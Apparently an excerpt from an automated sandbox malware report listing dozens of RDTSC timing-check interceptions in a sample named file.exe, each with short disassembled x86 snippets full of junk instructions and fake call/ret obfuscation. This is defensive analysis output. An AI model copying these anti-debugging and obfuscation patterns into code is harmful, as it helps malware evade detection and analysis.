Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56F7B7 second address: 56F7C1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F32E9641F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56CAD0 second address: 56CAD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56CAD4 second address: 56CADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56EA0A second address: 56EA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bx, cx 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov bl, cl 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c mov ebx, 56C3FEB2h 0x00000021 mov eax, dword ptr [ebp+122D03F1h] 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F32E8D838D8h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 sbb bh, FFFFFF85h 0x00000044 push FFFFFFFFh 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007F32E8D838D8h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 0000001Bh 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 movsx edi, bx 0x00000063 nop 0x00000064 jmp 00007F32E8D838DEh 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jg 00007F32E8D838D8h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 570638 second address: 57069E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 je 00007F32E9641F2Fh 0x0000000d jmp 00007F32E9641F29h 0x00000012 nop 0x00000013 mov di, 79BEh 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D233Fh], edx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007F32E9641F18h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b mov ebx, dword ptr [ebp+122D3CDDh] 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push esi 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56EA9A second address: 56EAA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57069E second address: 5706A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 56EAA4 second address: 56EAA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 571774 second address: 571778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 571778 second address: 57177C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57177C second address: 571782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 570817 second address: 5708A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F32E8D838E3h 0x0000000c nop 0x0000000d call 00007F32E8D838DAh 0x00000012 mov ebx, dword ptr [ebp+122D1E49h] 0x00000018 pop ebx 0x00000019 push dword ptr fs:[00000000h] 0x00000020 jnp 00007F32E8D838DCh 0x00000026 add dword ptr [ebp+12457A3Dh], esi 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F32E8D838D8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d sub dword ptr [ebp+122D27E9h], ecx 0x00000053 mov eax, dword ptr [ebp+122D1075h] 0x00000059 mov edi, 6D8787E0h 0x0000005e push FFFFFFFFh 0x00000060 jg 00007F32E8D838DCh 0x00000066 nop 0x00000067 jc 00007F32E8D838E4h 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 571782 second address: 571787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5708A6 second address: 5708AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 571787 second address: 57178D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5727BD second address: 5727DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F32E8D838D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32E8D838E1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5718C3 second address: 5718C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 579442 second address: 579477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32E8D838DCh 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jnp 00007F32E8D838D6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5795F5 second address: 579628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F32E9641F1Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F32E9641F1Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 579628 second address: 579630 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 579630 second address: 57966B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F32E9641F35h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F32E9641F1Ch 0x0000000f jp 00007F32E9641F16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5797DF second address: 579806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 js 00007F32E8D838D8h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F32E8D838E4h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 579806 second address: 57980A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57980A second address: 579810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57F489 second address: 57F48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57F48D second address: 57F4AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F32E8D838E0h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57F4AF second address: 57F4B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57F4B4 second address: 57F4D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F32E8D838E5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57F602 second address: 57F608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57F608 second address: 57F60E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 57F60E second address: 57F612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584BF7 second address: 584BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584BFB second address: 584C0B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jnp 00007F32E9641F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584C0B second address: 584C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DEh 0x00000007 jns 00007F32E8D838D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584C23 second address: 584C28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584C28 second address: 584C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584C36 second address: 584C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584C3A second address: 584C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5839C8 second address: 5839E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32E9641F24h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5839E8 second address: 5839F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 583F10 second address: 583F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58407F second address: 584085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5841FD second address: 58421C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F32E9641F16h 0x0000000c popad 0x0000000d jmp 00007F32E9641F22h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58421C second address: 58423B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E5h 0x00000009 jp 00007F32E8D838D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584625 second address: 584634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584634 second address: 584648 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F32E8D838DAh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584648 second address: 584650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 584650 second address: 584654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5847F3 second address: 58480B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F32E9641F1Fh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 589E5F second address: 589E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F32E8D838E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 588CC9 second address: 588CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F1Ah 0x00000009 popad 0x0000000a ja 00007F32E9641F18h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 588CE0 second address: 588CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 588CE6 second address: 588CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55EC09 second address: 55EC7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F32E8D838D8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 lea eax, dword ptr [ebp+1249399Fh] 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F32E8D838D8h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 sub dword ptr [ebp+1245A9DEh], esi 0x0000004c nop 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 jns 00007F32E8D838D6h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55EC7B second address: 55ECAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F32E9641F26h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55F30A second address: 55F32E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F32E8D838DDh 0x00000011 jmp 00007F32E8D838DAh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55F4B9 second address: 55F4BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55F4BF second address: 55F4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55F4C3 second address: 55F4E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jne 00007F32E9641F16h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55F59A second address: 55F59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55F59E second address: 55F5AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55FF58 second address: 55FF62 instructions: 0x00000000 rdtsc 0x00000002 js 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55FF62 second address: 55FFDF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F32E9641F25h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ecx, dword ptr [ebp+122D3A51h] 0x00000011 lea eax, dword ptr [ebp+124939E3h] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F32E9641F18h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 call 00007F32E9641F25h 0x00000036 jp 00007F32E9641F1Ch 0x0000003c mov edi, dword ptr [ebp+122D3CE5h] 0x00000042 pop edi 0x00000043 nop 0x00000044 push esi 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F32E9641F22h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 55FFDF second address: 53D54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F32E8D838DDh 0x0000000d nop 0x0000000e lea eax, dword ptr [ebp+1249399Fh] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F32E8D838D8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e xor ecx, 1AC003E2h 0x00000034 xor dword ptr [ebp+122D21C1h], ecx 0x0000003a push eax 0x0000003b jmp 00007F32E8D838E4h 0x00000040 mov dword ptr [esp], eax 0x00000043 and dl, 00000049h 0x00000046 call dword ptr [ebp+1245F60Fh] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 jl 00007F32E8D838D6h 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53D54E second address: 53D553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53D553 second address: 53D558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53D558 second address: 53D563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53D563 second address: 53D567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51459F second address: 5145A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 588FE0 second address: 588FF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32E8D838DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 588FF5 second address: 589038 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F28h 0x00000007 jno 00007F32E9641F18h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jmp 00007F32E9641F25h 0x00000017 jc 00007F32E9641F16h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 589196 second address: 5891AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F32E8D838E1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5891AD second address: 5891BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5891BB second address: 5891BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5891BF second address: 5891C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5891C7 second address: 5891CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5891CD second address: 5891D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5891D1 second address: 5891D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 589460 second address: 589465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 589465 second address: 589474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jng 00007F32E8D838D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5895B7 second address: 5895C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5895C4 second address: 5895CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5895CA second address: 5895D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5895D0 second address: 5895D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 589782 second address: 589788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 589788 second address: 58978E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 58978E second address: 589794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
